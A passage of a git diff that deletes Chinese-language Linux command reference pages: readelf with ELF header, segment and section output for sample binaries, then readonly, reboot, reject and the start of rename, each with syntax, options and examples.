  1. 如果用于编译和链接(可重定位文件),则编译器和链接器将把elf文件看作是节头表描述的节的集合,程序头表可选。 
  2. -
  3. 如果用于加载执行(可执行文件),则加载器则将把elf文件看作是程序头表描述的段的集合,一个段可能包含多个节,节头表可选。 
  4. -
  5. 如果是共享文件,则两者都含有。 
  6. -
-

ELF文件总体组成:  

-

elf文件头描述elf文件的总体信息。包括:系统相关,类型相关,加载相关,链接相关。 

-
    -
  • 系统相关表示:elf文件标识的魔术数,以及硬件和平台等相关信息,增加了elf文件的移植性,使交叉编译成为可能。 
  • -
  • 类型相关就是前面说的那个类型。 
  • -
  • 加载相关:包括程序头表相关信息。 
  • -
  • 链接相关:节头表相关信息。 
  • -
-

选项

-
-a 
---all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. 
-
--h 
---file-header 显示elf文件开始的文件头信息. 
-
--l 
---program-headers  
---segments 显示程序头(段头)信息(如果有的话)。 
-
--S 
---section-headers  
---sections 显示节头信息(如果有的话)。 
-
--g 
---section-groups 显示节组信息(如果有的话)。 
-
--t 
---section-details 显示节的详细信息(-S的)。 
-
--s 
---syms        
---symbols 显示符号表段中的项(如果有的话)。 
-
--e 
---headers 显示全部头信息,等价于: -h -l -S 
-
--n 
---notes 显示note段(内核注释)的信息。 
-
--r 
---relocs 显示可重定位段的信息。 
-
--u 
---unwind 显示unwind段信息。当前只支持IA64 ELF的unwind段信息。 
-
--d 
---dynamic 显示动态段的信息。 
-
--V 
---version-info 显示版本段的信息。 
-
--A 
---arch-specific 显示CPU构架信息。 
-
--D 
---use-dynamic 使用动态段中的符号表显示符号,而不是使用符号段。 
-
--x <number or name> 
---hex-dump=<number or name> 以16进制方式显示指定段内内容。number指定段表中段的索引,或字符串指定文件中的段名。 
-
--w[liaprmfFsoR] or 
---debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges] 显示调试段中指定的内容。 
-
--I 
---histogram 显示符号的时候,显示bucket list长度的柱状图。 
-
--v 
---version 显示readelf的版本信息。 
-
--H 
---help 显示readelf所支持的命令行选项。 
-
--W 
---wide 宽行输出。 
-
-@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 
-
-

实例

-

先给出如下例子:

-

1.对于可执行文件形式的elf格式文件:

-

1)查看可执行程序的源代码如下: 

-
root@localhost [test]$ cat main.cpp 
-#include <iostream> 
-using std::cout; 
-using std::endl; 
-void my_print(); 
-
-int main(int argc, char *argv[]) 
-{ 
-        my_print(); 
-        cout<<"hello!"<<endl; 
-        return 0; 
-} 
-
-void  my_print() 
-{ 
-        cout<<"print!"<<endl; 
-} 
-
-

2)编译如下: 

-
[root@localhost test]$ g++ main.cpp -o main 
-[root@localhost test]$ g++ -g main.cpp -o main.debug 
-
-

3)编译之后,查看生成的文件: 

-
[root@localhost test]$ ls -l 
-总计 64 
--rwxr-xr-x 1 quietheart quietheart  6700 07-07 18:04 main 
--rw-r--r-- 1 quietheart quietheart   201 07-07 18:02 main.cpp 
--rwxr-xr-x 1 quietheart quietheart 38932 07-07 18:04 main.debug 
-
-

这里,main.debug是带有调试信息的可执行文件,main是一般的可执行文件。 

-

2.对于库文件形式的elf格式文件:

-

1)查看库的源代码如下: 

-
//myfile.h 
-#ifndef __MYFILE_H 
-#define __MYFILE_H 
-void printInfo(); 
-#endif 
-
-//myfile.cpp 
-#include "myfile.h" 
-#include <iostream> 
-using std::cout; 
-using std::endl; 
-void printInfo() 
-{ 
-    cout<<"hello"<<endl; 
-} 
-
-

2)编译如下: 

-
[root@localhost test]$ g++ -c myfile.cpp 
-[root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o 
-[root@localhost test]$ ar -r libmy.a myfile.o 
-ar: creating libmy.a 
-
-

3)编译之后,查看生成的文件: 

-

[root@localhost test]$ ls -l 

-

总计 44 

-
-rw-r--r-- 1 quietheart quietheart 2154 07-08 16:14 libmy.a 
--rwxr-xr-x 1 quietheart quietheart 5707 07-08 16:08 libmy.so 
--rwxr-xr-x 1 quietheart quietheart  117 07-08 16:06 myfile.cpp 
--rwxr-xr-x 1 quietheart quietheart   63 07-08 16:08 myfile.h 
--rw-r--r-- 1 quietheart quietheart 2004 07-08 16:08 myfile.o 
-libmy.a  libmy.so  myfile.cpp  myfile.h  myfile.o 
-
-

这里,分别生成目标文件myfile.o,共享库文件libmy.so,和静态库文件libmy.a。 

-

基于以上可执行文件和库,这里给出一些常用的命令。 

-

读取可执行文件形式的elf文件头信息:

-
[root@localhost test]$ readelf -h main 
-ELF Header: 
-  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
-  Class:                             ELF32 
-  Data:                              2's complement, little endian 
-  Version:                           1 (current) 
-  OS/ABI:                            UNIX - System V 
-  ABI Version:                       0 
-  type:                              exec (Executable file) 
-  Machine:                           Intel 80386 
-  Version:                           0x1 
-  Entry point address:               0x8048580 
-  Start of program headers:          52 (bytes into file) 
-  Start of section headers:          3232 (bytes into file) 
-  Flags:                             0x0 
-  Size of this header:               52 (bytes) 
-  Size of program headers:           32 (bytes) 
-  Number of program headers:         8 
-  Size of section headers:           40 (bytes) 
-  Number of section headers:         29 
-  Section header string table index: 26 
-
-

这里,可见可执行文件的elf文件,其类型为EXEC(可执行文件)。另外,含调试信息的"main.debug"和不含调试信息的"main"除了一些大小信息之外,其内容是一样的。并且由此可见文件的体系结构为Intel 80386。 

-

读取目标文件形式的elf文件头信息:

-
[root@localhost test]$ readelf -h myfile.o 
-ELF Header: 
-  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
-  Class:                             ELF32 
-  Data:                              2's complement, little endian 
-  Version:                           1 (current) 
-  OS/ABI:                            UNIX - System V 
-  ABI Version:                       0 
-  Type:                              REL (Relocatable file) 
-  Machine:                           Intel 80386 
-  Version:                           0x1 
-  Entry point address:               0x0 
-  Start of program headers:          0 (bytes into file) 
-  Start of section headers:          516 (bytes into file) 
-  Flags:                             0x0 
-  Size of this header:               52 (bytes) 
-  Size of program headers:           0 (bytes) 
-  Number of program headers:         0 
-  Size of section headers:           40 (bytes) 
-  Number of section headers:         15 
-  Section header string table index: 12 
-
-

这里,可见目标文件的elf文件,其类型为REL(可重定位文件)。 

-

读取静态库文件形式的elf文件头信息:

-
[root@localhost test]$ readelf -h libmy.a 
-File: libmy.a(myfile.o) 
-ELF Header: 
-  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
-  Class:                             ELF32 
-  Data:                              2's complement, little endian 
-  Version:                           1 (current) 
-  OS/ABI:                            UNIX - System V 
-  ABI Version:                       0 
-  Type:                              REL (Relocatable file) 
-  Machine:                           Intel 80386 
-  Version:                           0x1 
-  Entry point address:               0x0 
-  Start of program headers:          0 (bytes into file) 
-  Start of section headers:          516 (bytes into file) 
-  Flags:                             0x0 
-  Size of this header:               52 (bytes) 
-  Size of program headers:           0 (bytes) 
-  Number of program headers:         0 
-  Size of section headers:           40 (bytes) 
-  Number of section headers:         15 
-  Section header string table index: 12 
-
-

这里,可见静态库文件的elf文件,其类型为REL(可重定位文件)。 

-

读取动态库文件形式的elf文件头信息:

-
[root@localhost test]$ readelf -h libmy.so 
-ELF Header: 
-  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
-  Class:                             ELF32 
-  Data:                              2's complement, little endian 
-  Version:                           1 (current) 
-  OS/ABI:                            UNIX - System V 
-  ABI Version:                       0 
-  Type:                              DYN (Shared object file) 
-  Machine:                           Intel 80386 
-  Version:                           0x1 
-  Entry point address:               0x550 
-  Start of program headers:          52 (bytes into file) 
-  Start of section headers:          2768 (bytes into file) 
-  Flags:                             0x0 
-  Size of this header:               52 (bytes) 
-  Size of program headers:           32 (bytes) 
-  Number of program headers:         5 
-  Size of section headers:           40 (bytes) 
-  Number of section headers:         27 
-  Section header string table index: 24 
-
-

这里,可见动态库文件的elf文件,其类型为DYN(共享目标文件)。 

-

查看可执行的elf文件程序头表信息:

-
[root@localhost test]$ readelf -l main 
-Elf file type is EXEC (Executable file) 
-Entry point 0x8048580 
-There are 8 program headers, starting at offset 52 
-
-Program Headers: 
-  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align 
-  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 
-  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1 
-      Requesting program interpreter: /lib/[ld-linux.so.2] 
-  LOAD           0x000000 0x08048000 0x08048000 0x00970 0x00970 R E 0x1000 
-  LOAD           0x000970 0x08049970 0x08049970 0x00130 0x001c8 RW  0x1000 
-  DYNAMIC        0x000988 0x08049988 0x08049988 0x000e0 0x000e0 RW  0x4 
-  NOTE           0x000148 0x08048148 0x08048148 0x00020 0x00020 R   0x4 
-  GNU_EH_FRAME   0x000820 0x08048820 0x08048820 0x00044 0x00044 R   0x4 
-  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4 
-
-Section to Segment mapping: 
-  Segment Sections... 
-   00     
-   01     .interp 
-   02     .interp .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
-   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 
-   04     .dynamic 
-   05     .note.ABI-tag 
-   06     .eh_frame_hdr 
-   07     
-
-

这里,含调试信息的"main.debug"和不含调试信息的"main"其内容是一样的。 

-

**查看目标文件的elf文件程序头表信息: **

-
[root@localhost test]$ readelf -l myfile.o 
-There are no program headers in this file. 
-
-

这里可知,可重定位的目标文件,它没程序头表。 

-

查看静态库文件的elf文件程序头表信息:

-
[root@localhost test]$ readelf -l libmy.a 
-File: libmy.a(myfile.o) 
-There are no program headers in this file. 
-
-

这里可知,可重定位的静态库文件,它没程序头表。 

-

查看动态库文件的elf文件程序头表信息:

-
[root@localhost test]$ readelf -l libmy.so 
-Elf file type is DYN (Shared object file) 
-Entry point 0x550 
-There are 5 program headers, starting at offset 52 
-
-Program Headers: 
-  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align 
-  LOAD           0x000000 0x00000000 0x00000000 0x007f4 0x007f4 R E 0x1000 
-  LOAD           0x0007f4 0x000017f4 0x000017f4 0x0011c 0x00128 RW  0x1000 
-  DYNAMIC        0x000810 0x00001810 0x00001810 0x000e0 0x000e0 RW  0x4 
-  GNU_EH_FRAME   0x000738 0x00000738 0x00000738 0x0002c 0x0002c R   0x4 
-  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4 
-
-Section to Segment mapping: 
-  Segment Sections... 
-   00     .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
-   01     .ctors .dtors .jcr .data.rel.ro .dynamic .got .got.plt .bss 
-   02     .dynamic 
-   03     .eh_frame_hdr 
-   04     
-
-

这里可知,做为共享目标文件的动态库,它程序头表。 

-

查看一个可执行的elf文件的节信息:

-
[root@localhost test]$ readelf -S main 
-There are 29 section headers, starting at offset 0xca0: 
-Section Headers: 
-  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
-  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
-  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1 
-  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4 
-  [ 3] .gnu.hash         GNU_HASH        08048168 000168 000030 04   A  4   0  4 
-  [ 4] .dynsym           DYNSYM          08048198 000198 0000d0 10   A  5   1  4 
-  [ 5] .dynstr           STRTAB          08048268 000268 000183 00   A  0   0  1 
-  [ 6] .gnu.version      VERSYM          080483ec 0003ec 00001a 02   A  4   0  2 
-  [ 7] .gnu.version_r    VERNEED         08048408 000408 000060 00   A  5   2  4 
-  [ 8] .rel.dyn          REL             08048468 000468 000010 08   A  4   0  4 
-  [ 9] .rel.plt          REL             08048478 000478 000048 08   A  4  11  4 
-  [10] .init             PROGBITS        080484c0 0004c0 000017 00  AX  0   0  4 
-  [11] .plt              PROGBITS        080484d8 0004d8 0000a0 04  AX  0   0  4 
-  [12] .text             PROGBITS        08048580 000580 000268 00  AX  0   0 16 
-  [13] .fini             PROGBITS        080487e8 0007e8 00001c 00  AX  0   0  4 
-  [14] .rodata           PROGBITS        08048804 000804 00001a 00   A  0   0  4 
-  [15] .eh_frame_hdr     PROGBITS        08048820 000820 000044 00   A  0   0  4 
-  [16] .eh_frame         PROGBITS        08048864 000864 00010c 00   A  0   0  4 
-  [17] .ctors            PROGBITS        08049970 000970 00000c 00  WA  0   0  4 
-  [18] .dtors            PROGBITS        0804997c 00097c 000008 00  WA  0   0  4 
-  [19] .jcr              PROGBITS        08049984 000984 000004 00  WA  0   0  4 
-  [20] .dynamic          DYNAMIC         08049988 000988 0000e0 08  WA  5   0  4 
-  [21] .got              PROGBITS        08049a68 000a68 000004 04  WA  0   0  4 
-  [22] .got.plt          PROGBITS        08049a6c 000a6c 000030 04  WA  0   0  4 
-  [23] .data             PROGBITS        08049a9c 000a9c 000004 00  WA  0   0  4 
-  [24] .bss              NOBITS          08049aa0 000aa0 000098 00  WA  0   0  8 
-  [25] .comment          PROGBITS        00000000 000aa0 000114 00      0   0  1 
-  [26] .shstrtab         STRTAB          00000000 000bb4 0000e9 00      0   0  1 
-  [27] .symtab           SYMTAB          00000000 001128 000510 10     28  53  4 
-  [28] .strtab           STRTAB          00000000 001638 0003f4 00      0   0  1 
-Key to Flags: 
-  W (write), A (alloc), X (execute), M (merge), S (strings) 
-  I (info), L (link order), G (group), x (unknown) 
-  O (extra OS processing required) o (OS specific), p (processor specific) 
-
-

这里,main是可执行文件,不含调试信息。 

-

查看一个包含调试信息的可执行的elf文件的节信息:

-
[root@localhost test]$ readelf -S main.debug 
-There are 37 section headers, starting at offset 0x88c8: 
-
-Section Headers: 
-  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
-  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
-  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1 
-  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4 
-  [ 3] .gnu.hash         GNU_HASH        08048168 000168 000030 04   A  4   0  4 
-  [ 4] .dynsym           DYNSYM          08048198 000198 0000d0 10   A  5   1  4 
-  [ 5] .dynstr           STRTAB          08048268 000268 000183 00   A  0   0  1 
-  [ 6] .gnu.version      VERSYM          080483ec 0003ec 00001a 02   A  4   0  2 
-  [ 7] .gnu.version_r    VERNEED         08048408 000408 000060 00   A  5   2  4 
-  [ 8] .rel.dyn          REL             08048468 000468 000010 08   A  4   0  4 
-  [ 9] .rel.plt          REL             08048478 000478 000048 08   A  4  11  4 
-  [10] .init             PROGBITS        080484c0 0004c0 000017 00  AX  0   0  4 
-  [11] .plt              PROGBITS        080484d8 0004d8 0000a0 04  AX  0   0  4 
-  [12] .text             PROGBITS        08048580 000580 000268 00  AX  0   0 16 
-  [13] .fini             PROGBITS        080487e8 0007e8 00001c 00  AX  0   0  4 
-  [14] .rodata           PROGBITS        08048804 000804 00001a 00   A  0   0  4 
-  [15] .eh_frame_hdr     PROGBITS        08048820 000820 000044 00   A  0   0  4 
-  [16] .eh_frame         PROGBITS        08048864 000864 00010c 00   A  0   0  4 
-  [17] .ctors            PROGBITS        08049970 000970 00000c 00  WA  0   0  4 
-  [18] .dtors            PROGBITS        0804997c 00097c 000008 00  WA  0   0  4 
-  [19] .jcr              PROGBITS        08049984 000984 000004 00  WA  0   0  4 
-  [20] .dynamic          DYNAMIC         08049988 000988 0000e0 08  WA  5   0  4 
-  [21] .got              PROGBITS        08049a68 000a68 000004 04  WA  0   0  4 
-  [22] .got.plt          PROGBITS        08049a6c 000a6c 000030 04  WA  0   0  4 
-  [23] .data             PROGBITS        08049a9c 000a9c 000004 00  WA  0   0  4 
-  [24] .bss              NOBITS          08049aa0 000aa0 000098 00  WA  0   0  8 
-  [25] .comment          PROGBITS        00000000 000aa0 000114 00      0   0  1 
-  [26] .debug_aranges    PROGBITS        00000000 000bb4 000020 00      0   0  1 
-  [27] .debug_pubnames   PROGBITS        00000000 000bd4 000028 00      0   0  1 
-  [28] .debug_info       PROGBITS        00000000 000bfc 0067aa 00      0   0  1 
-  [29] .debug_abbrev     PROGBITS        00000000 0073a6 000726 00      0   0  1 
-  [30] .debug_line       PROGBITS        00000000 007acc 0003e1 00      0   0  1 
-  [31] .debug_frame      PROGBITS        00000000 007eb0 00009c 00      0   0  4 
-  [32] .debug_str        PROGBITS        00000000 007f4c 000735 00      0   0  1 
-  [33] .debug_loc        PROGBITS        00000000 008681 0000f3 00      0   0  1 
-  [34] .shstrtab         STRTAB          00000000 008774 000151 00      0   0  1 
-  [35] .symtab           SYMTAB          00000000 008e90 000590 10     36  61  4 
-  [36] .strtab           STRTAB          00000000 009420 0003f4 00      0   0  1 
-Key to Flags: 
-  W (write), A (alloc), X (execute), M (merge), S (strings) 
-  I (info), L (link order), G (group), x (unknown) 
-  O (extra OS processing required) o (OS specific), p (processor specific) 
-
-

可见,相对非调试版本的可执行文件,多了".debug*"段的信息。 

-

查看一个目标文件的elf文件的节信息:

-
[root@localhost test]$ readelf -S myfile.o 
-There are 15 section headers, starting at offset 0x204: 
-
-Section Headers: 
-  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
-  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
-  [ 1] .text             PROGBITS        00000000 000034 00009e 00  AX  0   0  4 
-  [ 2] .rel.text         REL             00000000 000744 000060 08     13   1  4 
-  [ 3] .data             PROGBITS        00000000 0000d4 000000 00  WA  0   0  4 
-  [ 4] .bss              NOBITS          00000000 0000d4 000001 00  WA  0   0  4 
-  [ 5] .ctors            PROGBITS        00000000 0000d4 000004 00  WA  0   0  4 
-  [ 6] .rel.ctors        REL             00000000 0007a4 000008 08     13   5  4 
-  [ 7] .rodata           PROGBITS        00000000 0000d8 000006 00   A  0   0  1 
-  [ 8] .eh_frame         PROGBITS        00000000 0000e0 00008c 00   A  0   0  4 
-  [ 9] .rel.eh_frame     REL             00000000 0007ac 000028 08     13   8  4 
-  [10] .comment          PROGBITS        00000000 00016c 00002e 00      0   0  1 
-  [11] .note.GNU-stack   PROGBITS        00000000 00019a 000000 00      0   0  1 
-  [12] .shstrtab         STRTAB          00000000 00019a 00006a 00      0   0  1 
-  [13] .symtab           SYMTAB          00000000 00045c 000180 10     14  14  4 
-  [14] .strtab           STRTAB          00000000 0005dc 000166 00      0   0  1 
-Key to Flags: 
-  W (write), A (alloc), X (execute), M (merge), S (strings) 
-  I (info), L (link order), G (group), x (unknown) 
-  O (extra OS processing required) o (OS specific), p (processor specific) 
-
-
-```shell
-
- **查看一个静态库文件的elf文件的节信息:** 
-
-```shell
-[root@localhost test]$ readelf -S libmy.a 
-File: libmy.a(myfile.o) 
-There are 15 section headers, starting at offset 0x204: 
-
-Section Headers: 
-  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
-  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
-  [ 1] .text             PROGBITS        00000000 000034 00009e 00  AX  0   0  4 
-  [ 2] .rel.text         REL             00000000 000744 000060 08     13   1  4 
-  [ 3] .data             PROGBITS        00000000 0000d4 000000 00  WA  0   0  4 
-  [ 4] .bss              NOBITS          00000000 0000d4 000001 00  WA  0   0  4 
-  [ 5] .ctors            PROGBITS        00000000 0000d4 000004 00  WA  0   0  4 
-  [ 6] .rel.ctors        REL             00000000 0007a4 000008 08     13   5  4 
-  [ 7] .rodata           PROGBITS        00000000 0000d8 000006 00   A  0   0  1 
-  [ 8] .eh_frame         PROGBITS        00000000 0000e0 00008c 00   A  0   0  4 
-  [ 9] .rel.eh_frame     REL             00000000 0007ac 000028 08     13   8  4 
-  [10] .comment          PROGBITS        00000000 00016c 00002e 00      0   0  1 
-  [11] .note.GNU-stack   PROGBITS        00000000 00019a 000000 00      0   0  1 
-  [12] .shstrtab         STRTAB          00000000 00019a 00006a 00      0   0  1 
-  [13] .symtab           SYMTAB          00000000 00045c 000180 10     14  14  4 
-  [14] .strtab           STRTAB          00000000 0005dc 000166 00      0   0  1 
-Key to Flags: 
-  W (write), A (alloc), X (execute), M (merge), S (strings) 
-  I (info), L (link order), G (group), x (unknown) 
-  O (extra OS processing required) o (OS specific), p (processor specific) 
-
-

查看一个动态库文件的elf文件的节信息:

-
[root@localhost test]$ readelf -S libmy.so 
-There are 27 section headers, starting at offset 0xad0: 
-
-Section Headers: 
-  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
-  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
-  [ 1] .gnu.hash         GNU_HASH        000000d4 0000d4 00003c 04   A  2   0  4 
-  [ 2] .dynsym           DYNSYM          00000110 000110 000120 10   A  3   1  4 
-  [ 3] .dynstr           STRTAB          00000230 000230 000199 00   A  0   0  1 
-  [ 4] .gnu.version      VERSYM          000003ca 0003ca 000024 02   A  2   0  2 
-  [ 5] .gnu.version_r    VERNEED         000003f0 0003f0 000050 00   A  3   2  4 
-  [ 6] .rel.dyn          REL             00000440 000440 0000b0 08   A  2   0  4 
-  [ 7] .rel.plt          REL             000004f0 0004f0 000010 08   A  2   9  4 
-  [ 8] .init             PROGBITS        00000500 000500 000017 00  AX  0   0  4 
-  [ 9] .plt              PROGBITS        00000518 000518 000030 04  AX  0   0  4 
-  [10] .text             PROGBITS        00000550 000550 0001c4 00  AX  0   0 16 
-  [11] .fini             PROGBITS        00000714 000714 00001c 00  AX  0   0  4 
-  [12] .rodata           PROGBITS        00000730 000730 000006 00   A  0   0  1 
-  [13] .eh_frame_hdr     PROGBITS        00000738 000738 00002c 00   A  0   0  4 
-  [14] .eh_frame         PROGBITS        00000764 000764 000090 00   A  0   0  4 
-  [15] .ctors            PROGBITS        000017f4 0007f4 00000c 00  WA  0   0  4 
-  [16] .dtors            PROGBITS        00001800 000800 000008 00  WA  0   0  4 
-  [17] .jcr              PROGBITS        00001808 000808 000004 00  WA  0   0  4 
-  [18] .data.rel.ro      PROGBITS        0000180c 00080c 000004 00  WA  0   0  4 
-  [19] .dynamic          DYNAMIC         00001810 000810 0000e0 08  WA  3   0  4 
-  [20] .got              PROGBITS        000018f0 0008f0 00000c 04  WA  0   0  4 
-  [21] .got.plt          PROGBITS        000018fc 0008fc 000014 04  WA  0   0  4 
-  [22] .bss              NOBITS          00001910 000910 00000c 00  WA  0   0  4 
-  [23] .comment          PROGBITS        00000000 000910 0000e6 00      0   0  1 
-  [24] .shstrtab         STRTAB          00000000 0009f6 0000da 00      0   0  1 
-  [25] .symtab           SYMTAB          00000000 000f08 000410 10     26  48  4 
-  [26] .strtab           STRTAB          00000000 001318 000333 00      0   0  1 
-Key to Flags: 
-  W (write), A (alloc), X (execute), M (merge), S (strings) 
-  I (info), L (link order), G (group), x (unknown) 
-  O (extra OS processing required) o (OS specific), p (processor specific) 
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/readonly.html b/linux-command.docset/Contents/Resources/Documents/c/readonly.html deleted file mode 100644 index 74b46fc8ae..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/readonly.html +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - readonly 命令,Linux readonly 命令详解:标记shell变量或函数为只读 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

readonly

-

标记shell变量或函数为只读

-

语法

-
readonly [-aAf] [name[=value] ...]
-readonly -p
-
-

主要用途

-
    -
  • 定义一到多个变量并设置只读属性。
  • -
  • 为已定义的一到多个变量设置只读属性。
  • -
  • 显示全部包含只读属性的变量。
  • -
  • 为已定义的一到多个函数设置只读属性。
  • -
  • 显示全部包含只读属性的函数。
  • -
-

选项

-
-a:指向数组。
--A:指向关联数组。
--f:指向函数。
--p:显示全部只读变量。
---:在它之后的选项无效。
-
-

参数

-
name(可选):变量名或函数名
-value(可选):变量的值
-
-

返回值

-

readonly返回true除非你提供了非法选项或非法名称。

-

例子

-
# 定义变量并增加只读属性
-readonly var1=13 var2
-readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c')
-# 必须有 '-A' 选项
-readonly -A dict1=(['key1']='value1')
-
-
# 先定义变量、函数,然后再为它们添加只读属性
-max=3
-readonly max
-
-# 数组定义时可以不加 `declare -a`
-seasons=('spring' 'summer' 'autumn' 'winter')
-# 为数组添加只读属性时可以不加 `-a` 选项
-readonly seasons
-
-declare -A man=(['age']=23 ['height']='190cm')
-# 为关联数组添加只读属性时可以不加 `-A` 选项
-readonly man
-
-function foo(){ echo 'bar'; }
-# 为函数添加只读属性时必须加 `-f` 选项
-readonly -f foo
-
-
# 显示全部只读变量,以下两个命令的显示结果一样
-readonly
-readonly -p
-# 显示全部拥有只读属性的数组
-readonly -a
-# 显示全部拥有只读属性的关联数组
-readonly -A
-# 显示全部拥有只读属性的函数
-readonly -f
-
-

常见错误

-

对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令:

-
[root@localhost ~]# readonly test='ok'        #定义只读变量并初始化 
-
-

那么当用户直接修改该只读变量时就会报错,如下所示:

-
[root@localhost ~]# test='my'                 #试图修改只读变量的值
--bash: test: readonly variable
-
-

当用户试图修改只读变量的值时,会被提示该变量为只读变量。

-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
  3. declare +r不能去除只读属性, unset不能删除只读变量。
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/reboot.html b/linux-command.docset/Contents/Resources/Documents/c/reboot.html deleted file mode 100644 index 52827f4310..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/reboot.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - reboot 命令,Linux reboot 命令详解:重新启动正在运行的Linux操作系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

reboot

-

重新启动正在运行的Linux操作系统

-

补充说明

-

reboot命令 用来重新启动正在运行的Linux操作系统。

-

语法

-
reboot(选项)
-
-

选项

-
-d:重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果;
--f:强制重新开机,不调用shutdown指令的功能;
--i:在重开机之前,先关闭所有网络界面;
--n:重开机之前不检查是否有未结束的程序;
--w:仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。
-
-

实例

-
reboot        //重开机。
-reboot -w     //做个重开机的模拟(只有纪录并不会真的重开机)。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/reject.html b/linux-command.docset/Contents/Resources/Documents/c/reject.html deleted file mode 100644 index 4d1c1d6db3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/reject.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - reject 命令,Linux reject 命令详解:指示打印系统拒绝发往指定目标打印机的打印任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

reject

-

指示打印系统拒绝发往指定目标打印机的打印任务

-

补充说明

-

reject命令 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。

-

语法

-
reject(选项)(参数)
-
-

选项

-
-E:当连接到服务器时强制使用加密;
--U:指定连接服务器时使用的用户名;
--h:指定连接服务器名和端口号;
--r:指定拒绝打印任务的原因。
-
-

参数

-

目标:指定目标打印机。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/rename.html b/linux-command.docset/Contents/Resources/Documents/c/rename.html deleted file mode 100644 index 94e027b3e1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/rename.html +++ /dev/null @@ -1,190 +0,0 @@ - - - - - - - - - - - rename 命令,Linux rename 命令详解:用字符串替换的方式批量改变文件名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

rename

-

用字符串替换的方式批量改变文件名

-

补充说明

-

rename命令存在两个版本用法上有所区别

-
C语言版本, 支持通配符
-[常用通配符说明]
-?    表示一个任意字符
-*    表示一个或一串任意字符
-
-Perl版本, 支持正则表达式
-[常用正则表达式符号说明]
-^    匹配输入的开始位置
-$    匹配输入的结尾
-.    匹配除换行符外的任意字符
-+    匹配前一个字符一次或多次 例如,"zo+"可以匹配"zoo",但不匹配"z"
-[a-z]    表示某个范围内的字符,例如,"[a-z]"匹配"a""z"之间的任何一个小写字母字符。
-[^m-z]    否定的字符区间。与不在指定区间内的字符匹配。
-
-

区分方法: rename --version

-

如果返回结果中包含 util-linux , 说明是C语言版本, 反之是Perl版本

-
# Perl版本 | Ubuntu(18),Mint(20)默认的是Perl版本
-$ rename --version
-/usr/bin/rename using File::Rename version 1.10
-
-# C语言版本 | Centos(7)默认的是C语言版本
-$ rename --version
-rename,来自 util-linux 2.23.2
-
-

语法

-
# Perl版本
-rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ]
-
-# C语言版本
-rename [选项] 表达式 替换的字符 文件...
-
-

参数

-
# Perl版本
--v, --verbose
-        详细:成功重命名的文件的打印名称。
-
--0, --null
-        从STDIN读取时,请使用\0作为记录分隔符
-
--n, --nono
